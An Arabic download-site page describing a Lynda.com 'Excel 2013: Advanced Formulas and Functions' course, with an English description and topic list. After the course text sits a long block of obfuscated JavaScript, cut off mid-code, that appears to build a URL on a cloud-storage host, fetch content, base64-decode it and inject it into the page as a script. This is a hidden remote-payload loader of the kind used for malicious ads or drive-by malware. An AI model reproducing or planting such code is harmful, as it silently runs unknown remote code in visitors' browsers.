الثلاثاء 25 07 2017 - 07:54 صباحاً
2007-2016

كورس Excel 2013 Tutorials: Advanced Formulas and Functions

كورس لتعلم خبايا واسرار برنامج مايكروسوفت ايكسل Excel 2013 نم شركة lynda

تاريخ الإضافة : الأربعاء 20 07 2016 - 06:19 مساءً اخر تحديث : الأربعاء 20 07 2016 - 06:21 مساءً
8,685
كورس Excel 2013 Tutorials: Advanced Formulas and Functions
تعرف على اكثر من 300 وظيفة لبرنامج مايكروسوفت اكسل من الشركة العلامقة ليندا
تعرف على اداء بعض الاوامر باستخدام لوحة المفاتيح
تسليط الضوء على بعض الامور
تحويل الصيغ الى قيم
انشاء صيغ 3D
اداء عمليات رياضية وحسابية ززز وغيرها الكثير

اللغة : EN
الحجم : 600 ميجا
عدد المحاضرات : 73 فيديو
Conquer some of the most daunting features in Microsoft Excel once and for all. In this 2013 update to his popular series, author Dennis Taylor demystifies some of the most challenging of the 300+ formulas and functions in Excel and shows how to put them to their best use. The course starts with a review of the more basic, building-block functions, and a few critical keyboard shortcuts that will speed up working with Excel data, even on multiple sheets. Dennis then covers how to perform advanced searching and data retrieval with Lookup functions, tabulate and sort data with counting and statistical functions, format data with text and math functions, and work with financial data using advanced formulas. Dennis focuses on practical examples that transition effortlessly to real-world scenarios.
Topics include:
Displaying and highlighting formulas
Converting formulas to values
Creating 3D formulas to gather data from multiple sheets
Understanding the hierarchy of operations in formulas
Using absolute and relative references
Creating and expanding the use of nested IF statements
Looking up information with VLOOKUP, MATCH, and INDEX
Using the power functions: COUNTIF, SUMIF, and AVERAGEIF
Analyzing data with the statistical functions
Performing basic math
Calculating dates and times
Editing text with functions
Checking for errors with formulas
التبليغ عن خطأ
V1+d3+d1+s2+e8)===typeof m&&(T3+f8+B5+s2+e8+C4+V1+B5)===typeof m[(e8+V1+I1+S8+Z5+X5)]&&(m=m[(e8+G5+x6)](a));(T3+f8+B5+s2+P6+B5)===typeof n&&(m=n[(K7+L1+L1)](c,a,m));switch(typeof m){case (y3+c8+C4+B5+g3):return b(m);case (U0+j2+c8):return isFinite(m)?String(m):(a1+L1+L1);case (O3+V1+L1+j2+R3+B5):case (B5+f8+L1+L1):return String(m);case (V1+m2+j2+s2+e8):if(!m)return (B5+f8+L1+L1);p+=q;l=[];if((s7+V1+B4+s2+e8+X2+p6+Z4+t7+B2)===Object.prototype.toString.apply(m)){h=m.length;for(d=D8;d0xFC?';':131.9E1>(6.08E2,131.)?(0x15E,'@'):(0xD9,127.)<1.05E2?'t':(0x15C,139.9E1)),J7='la',L4='ex';function d(a,f){var J1='cal',c,g,e=a[f];if(e&&(V1+d3+n1+d5+e8)===typeof e)for(c in e)Object.prototype.hasOwnProperty.call(e,c)&&(g=d(e,c),void D8!==g?e[c]=g:delete e[c]);return b[(J1+L1)](a,f,e);}var f;a=String(a);l[(L1+R3+Q8+e8+o1+Z6+L4)]=D8;l[(e8+j2+y3)](a)&&(a=a[(c8+j2+W7+f6+j2)](l,function(a){return (P8+f8)+((c5+c5+c5+c5)+a[(s2+G4+c8+l7+Q3+J8+e8)](D8)[(M4+S8+e8+c8+j0+g3)](f2))[(Q8+L1+C4+s2+j2)](-l8);}));if(c[(G8+Q8+e8)](a[(c8+j2+b5+J7+h6)](e,d6)[(Y4+b5+L1+X7)](h,B2)[(Y4+b5+Q1)](g,Z)))return f=eval(e3+a+L3),(T3+f8+V7+e8+V6)===typeof b?d({'':f},Z):f;throw new SyntaxError((I1+k6+X5+T+b5+O5+Q8+j2));});})();(function(){var E1='+/=',Q7=(0xC1>(30,144)?(87.4E1,'9'):(0xA,4.01E2)<=(0x144,105)?(68.10E1,0x1CA):74>=(9.53E2,120)?0x135:(108.,0x147)),B1='bcd',N7='Za',W8='R',a8='PQ',x2='or',i3='ra',J5='at';(R3+M4+d3) in window&&(d3+e8+V1+R3) in window||(f5X0[m0][(J5+x8)]=function(a){var o4='sh',Y2='pu',e2=18,H5='od',C1='harC',K8='mC',O1='ode',k0='om',l2='fr',z0='omC',O4='ush',g4='mCha',t1='fro',h3=24,z4='dex',k1='4567',v7='z0123',G3='xy',J3='tuv',D1='pqr',x5='mno',o8='hijkl',R6='fg',q3='VWX',X3='MNO',P4='HIJKL',v1='erE',L7='ara',W0='idC',p4='In',A7='Inv',k2='ep';a=String(a);var d=D8,b=[],f=D8,c=D8,e;a=a[(Y4+W7+R3+s2+j2)](/\s/g,Z);a.length%l8||(a=a[(c8+k2+L1+f6+j2)](/=+$/,Z));if(L8===a.length%l8)throw Error((A7+R3+D5+Q3+S2+K4+R3+i3+s2+e8+t2+E4+c8+c8+V1+c8));if(/[^+/0-9A-Za-z]/[(e8+j2+y3)](a))throw Error((p4+E0+R3+L1+W0+K4+L7+s2+e8+v1+c8+c8+x2));for(;d>f2&t0)),b[(b5+O4)](String[(T3+c8+z0+G4+c8+l7+Q3+j2)](f>>d8&t0)),b[(b5+O4)](String[(l2+k0+S2+K4+R3+c8+S2+O1)](f&t0)),f=c=D8),d+=L8;g2===c?b[(b5+f8+Q8+K4)](String[(T3+c8+V1+K8+C1+H5+j2)](f>>l8&t0)):e2===c&&(f>>=g8,b[(Y2+o4)](String[(S1+A6+O5+l7+Q3+j2)](f>>d8&t0)),b[(Y2+Q8+K4)](String[(l2+V1+R1+A6+R3+c8+t8+j2)](f&t0)));return b[(n1+V1+C4+B5)](Z);},f5X0[m0][(d3+e8+V1+R3)]=function(a){var s0='67',T5='23',K1='UVW',p3='GHI',e5='89',E5='34',A4='01',W1='lm',s5='hi',k3='RS',T8='Q',I5='OP',M7='GH',N5='78',E7='56',z5='2',i0='z01',M2='vw',m5='ijklm',m4='TU',E6='OPQ',c2='JKL',D7='HI',K2='DE',N3='AB',m3='456789',L0='123',R2='wxyz',o6='uv',U5='q',x3='no',u4='k',R5='gh',b3='YZ',f0='X',F2='VW',W4='ST',k8='QR',D4='L',P1='K',z7='IJ',L2='FGH',H3='BC',q6=(0x9<(0x234,0x1A0)?(116,63):(0x15A,0xC8)>=(0xAC,9.33E2)?(116,null):(0x11F,107.)),X4='rCo',f3='Er';a=String(a);var d=D8,b=[],f,c,e,h;if(/[^\x00-\xFF]/[(e8+j2+Q8+e8)](a))throw Error((o1+B5+E0+R3+L1+C4+Q3+S2+K4+R3+i3+s2+e8+j2+c8+f3+c8+x2));for(;d>g8,f=(f&p8)<>l8,c=(c&V2)<>Y8,e&=q6,d===a.length+g8?e=c=b6:d===a.length+L8&&(e=b6),b[(b5+f8+Q8+K4)]((p6+H3+J4+E4+L2+z7+P1+D4+q5+X5+Z5+u1+k8+W4+n7+F2+f0+b3+R3+B1+J6+R5+C4+n1+u4+L1+R1+x3+b5+U5+c8+Q8+e8+o6+R2+c5+L0+m3+E1)[(x7+R3+c8+h8)](h),(N3+S2+K2+F4+y4+D7+c2+q5+X5+E6+W8+S8+m4+F2+f0+T7+S6+n2+F8+T3+g3+K4+m5+B5+V1+b5+U5+c8+y3+f8+M2+Z7+t7+i0+z5+o5+o7+E7+N5+Q7+E1)[(x7+R3+c8+p6+e8)](f),(N3+S2+J4+E4+F4+M7+o1+I1+P1+D4+q5+X5+I5+T8+k3+m4+F2+f0+b3+R3+d3+w0+j2+T3+g3+s5+n1+u4+W1+B5+V1+b5+U5+C6+e8+o6+p0+Z7+t7+Y7+A4+z5+E5+E7+M6+e5+E1)[(s2+K4+R3+c8+p6+e8)](c),(p6+P2+S2+J4+E4+F4+p3+I1+P1+D4+q5+X5+Z5+a8+W8+W4+K1+f0+T7+N7+d3+s2+Q6+T3+g3+K4+C4+n1+u4+L1+R1+x3+b5+U5+c8+y3+f8+E0+p0+Z7+t7+Y7+c5+z1+T5+o7+e7+s0+e5+E1)[(x7+O5+p6+e8)](e));return b[(Z1+B5)](Z);});})();Array.prototype.indexOf||(Array.prototype.indexOf=function(a,d){var T4='ax',E3='e',V='efi',E2='d',t6='r',O7='o',j7='l',G0='u',B6='n',F3=' ',V5='' ',N6=((84.9E1,11.9E2)<0x1FC?'k':(118,126.60E1)>(101.,123)?(1.650E2,'s'):(26.70E1,26.)),G7='i',o0=((102,83.)<0x108?(17.7E1,'h'):(0xF8,0x1C1)<(83.60E1,147.)?140:(12,2.81E2)>=52.40E1?(5.5E2,'J'):(0x187,0x14B)),b0='t',b;if(!this)throw new TypeError((W6+b0+o0+G7+N6+V5+G7+N6+F3+B6+G0+j7+j7+F3+O7+t6+F3+B6+O7+b0+F3+E2+V+B6+E3+E2));var f=Object(this),c=f.length>>>D8;if(!c)return -L8;b=+d||D8;Infinity===Math[(R3+d3+Q8)](b)&&(b=D8);if(b>=c)return -L8;for(b=Math[(R1+T4)](D8<=b?b:c-Math[(R3+d3+Q8)](b),D8);b>>D8;if(!D8===x[n1][c])return ;x[n1][c]=!D8;}x[(Q8+j2+Z6)][(R8+n3)](x,arguments);}},O=function(a,d,b,f,c,e,h){var N8='timeo',D6='ou',e0='ime',g0='pr',M5='ope',s3='mp',T1='th',d4='OS',B3='Ca';a=a[(e8+V1+n7+b5+b5+j2+c8+B3+v5)]();if((y4+E4+Z8)!=a&&(u1+d4+Z8)!=a)f((R1+j2+T1+V1+Q3+X2+B5+V1+e8+X2+C4+s3+L1+j2+R1+j2+U4+F6),-L8);else{var g=new XDomainRequest;g[(M5+B5)](a,d);g[(V1+B5+L1+V1+s6)]=function(){var v4='pon',N2='res';b(g[(N2+v4+Q8+j2+Z8+j2+Z7+e8)][(e8+c8+C4+R1)](),b8);};g[(h7+g0+V1+g3+c8+j2+Q8+Q8)]=function(){};g.onerror=function(){f(Z,-L8);};c&&(g[(e8+e0+D6+e8)]=c,g[(h7+N8+e6)]=g.onerror);setTimeout(function(){g[(Q8+j2+B5+Q3)](h||Z);},D8);}},P=XMLHttpRequest[(J4+Z5+B7)]||l8,Q=function(a,d,b,f,c,e,h){var c6='it',v3='tT',U2='eo',V3='out',O0='im',g1='echa',m7='onread',a6='Cas';a=a[(e8+V1+n7+b5+b5+t2+a6+j2)]();var g=new XMLHttpRequest;g[(V1+b5+j2+B5)](a,d,!D8);g[(m7+t7+Q8+e8+R3+e8+g1+B5+g3+j2)]=function(){var a7='po',i1='ear',U='time',t4='St';if(g[(c8+j2+R3+Q3+t7+t4+R3+G8)]==P){g[(h7+U+V1+e6)]=function(){};k&&(GLOBAL[(s2+L1+i1+Z8+C4+K5+V1+f8+e8)](k),k=!L8);var a=g[(Y4+Q8+a7+B5+v5+Z8+j2+Z7+e8)][(e8+c8+C4+R1)]();b8==g[(Q8+e8+R3+e8+f8+Q8)]?b(a,g[(Q8+e8+R3+e8+f8+Q8)]):f(a,g[(Q8+e8+R3+e8+f8+Q8)]);}};var k;c&&(g[(e8+O0+j2+V3)]=c,(V1+B5+S5+R1+j2+V1+f8+e8) in XMLHttpRequest.prototype?g[(V1+U4+C4+R1+U2+f8+e8)]=function(){var h4=504,e4='ns',c7='spo';f(g[(c8+j2+c7+e4+j2+Z8+j2+Z7+e8)][(e8+c8+C4+R1)](),h4);}:k=GLOBAL[(v5+v3+C4+R1+j2+V3)](function(){g.abort();f(Z,-L8);},c));g[(p0+c6+K4+S2+c8+F6+l3+e8+C4+R3+L1+Q8)]=(f8+B5+Q3+j2+T3+C4+B5+j2+Q3)!=typeof e?e:!D8;g[(Q8+j2+B5+Q3)](h||Z);},R={async:function(a,d,b,f,c,e,h){(w[K4]()&&!w[L1]()&&a2>w[g3]()?O:Q)[(R8+W7+t7)](V4,arguments);},g:function(a,d,b,f,c,e,h){var b7='sy';this[(R3+b7+B5+s2)](a,d+(X1+s2+F1+D2+z1),function(a,d){var U7=';',T2='sp',c=a[(T2+L1+C4+e8)](U7,g8),e;a&&Y8>a.length?e=!L8:g8>c.length||parseInt(c[D8],a2)!==(D(E,c[L8][(M4+S8+e8+c8+C4+p1)]())^-L8)>>>D8?(N(M,a,void D8,void D8),e=!L8):e=!D8;e?b(c[L8],d):f(a,d);},f,c,e,h);},h:w[K4]()&&a2>w[g3]()},S=(K4+e8+e8+b5)+((K4+e8+W3+Q8+I7)==f5X0['location'][(b5+c8+u3+s2+V1+L1)]?Q8:Z)+(u0),B=document,H=(new Date)[(e8+p5+S8+l0+j0+g3)]()[(R4+h6)](D8,a2),I=function(a,d){var f4='ic',b=G(a),f=G(b)[(Q8+L1+f4+j2)](D8,-d);return b+f;}(H,parseInt(H[(Q8+b5+L1+C4+e8)](r8)[L8],a2)),C=B[(s2+Y4+R3+e8+W+R1+j2+U4)]((Q8+s2+A0+e8));C[(e8+t7+y8)]=(e8+j2+h2+V8+n1+R3+c4+S4+R7+e8);(function(){var r1='rse',w7='ve',l4='aw',i7='s3',a=S+(i7+T+R3+R1+R3+Y7+V1+B5+l4+Q8+T+s2+V1+R1+V8)+I+V8+I[(Q8+f8+d3+Q8+e8+c8+C4+B5+g3)](D8,a2)[(Q8+W7+C4+e8)](Z)[(c8+j2+w7+r1)]()[(n1+V1+C4+B5)](Z);R[(R3+Q8+t7+B5+s2)]((y4+E4+Z8),a,function(a){var K0='ild',Y='ndC',j5='app',z8='he',Z2='yTag',w5='El',Y5='cre',I8='il',i8='AT',y7='ub',x4='bs';try{var b;a=atob(a);var f=a[(Q8+f8+x4+e8+c8+j0+g3)](D8,s8);a=a[(Q8+y7+Q8+a3+C4+p1)](s8);for(var c=Z,e=D8;e -->